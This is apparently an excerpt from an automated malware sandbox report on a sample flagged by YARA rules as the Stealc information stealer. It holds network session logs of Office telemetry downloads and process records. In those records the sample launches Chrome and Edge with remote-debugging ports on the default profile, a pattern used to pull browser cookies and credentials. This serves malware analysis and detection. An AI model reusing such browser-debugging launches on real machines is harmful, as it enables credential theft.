2024-11-22 16:10:18 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:18 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161018Z-174c587ffdfldtt2hC1TEBwv9c00000001m0000000001s7p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:18 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.10	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:18 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:18 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:18 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161018Z-174c587ffdfcj798hC1TEB9bq400000001v0000000009nh4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:18 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.10	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:18 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:19 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:19 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161019Z-178bfbc474bh5zbqhC1NYCkdug000000036g000000003n28 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:19 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.10	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:19 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:20 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:19 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 6dd5ded1-501e-0078-0f57-3c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161019Z-15b8b599d88hr8sfhC1TEBbca400000001mg000000005g0b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:20 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.10	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:20 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:20 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:20 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: aa1ebe18-101e-0017-5340-3c47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161020Z-15b8b599d885ffrhhC1TEBtuv000000001mg00000000qv74 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:20 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.10	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:20 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:20 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:20 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 962a21d8-701e-001e-0fb8-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161020Z-15b8b599d88g5tp8hC1TEByx6w00000001p0000000008sfm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:20 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.10	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:20 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:21 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:20 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: cb31e276-601e-00ab-1151-3c66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161020Z-15b8b599d882l6clhC1TEBxd5c00000001ng000000004258 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 16:10:21 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.10	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:21 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:21 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:21 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 16dd49bc-d01e-0066-804e-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161021Z-178bfbc474bvjk8shC1NYC83ns00000002y000000000tu9f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:21 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.10	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:21 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:22 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:22 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 11574f01-801e-0067-6559-3cfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161022Z-174c587ffdfmrvb9hC1TEBtn3800000001r0000000006u8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:22 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.10	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:22 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:22 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:22 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 731b5b9c-601e-0001-6b71-3cfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161022Z-174c587ffdfp4vpjhC1TEBybqw00000001ng00000000fr9m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:22 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Target ID:	0
Start time:	11:08:22
Start date:	22/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xca0000
File size:	1'783'808 bytes
MD5 hash:	C80D723528ED0121EEF557CC31BD4C87
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1458503621.0000000005100000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1985884053.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1987080237.000000000152E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:08:34
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c5c30000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:08:35
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2080,i,18242314153072897791,5523460126860221555,262144 /prefetch:8
Imagebase:	0x7ff6c5c30000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:08:45
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6a9290000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:08:45
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2380,i,15895540208041940085,12511833201022013577,262144 /prefetch:3
Imagebase:	0x7ff6a9290000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:08:45
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6a9290000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	11:08:46
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=2012,i,10376800940862538965,2285784219331554161,262144 /prefetch:3
Imagebase:	0x7ff6a9290000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	11:08:50
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
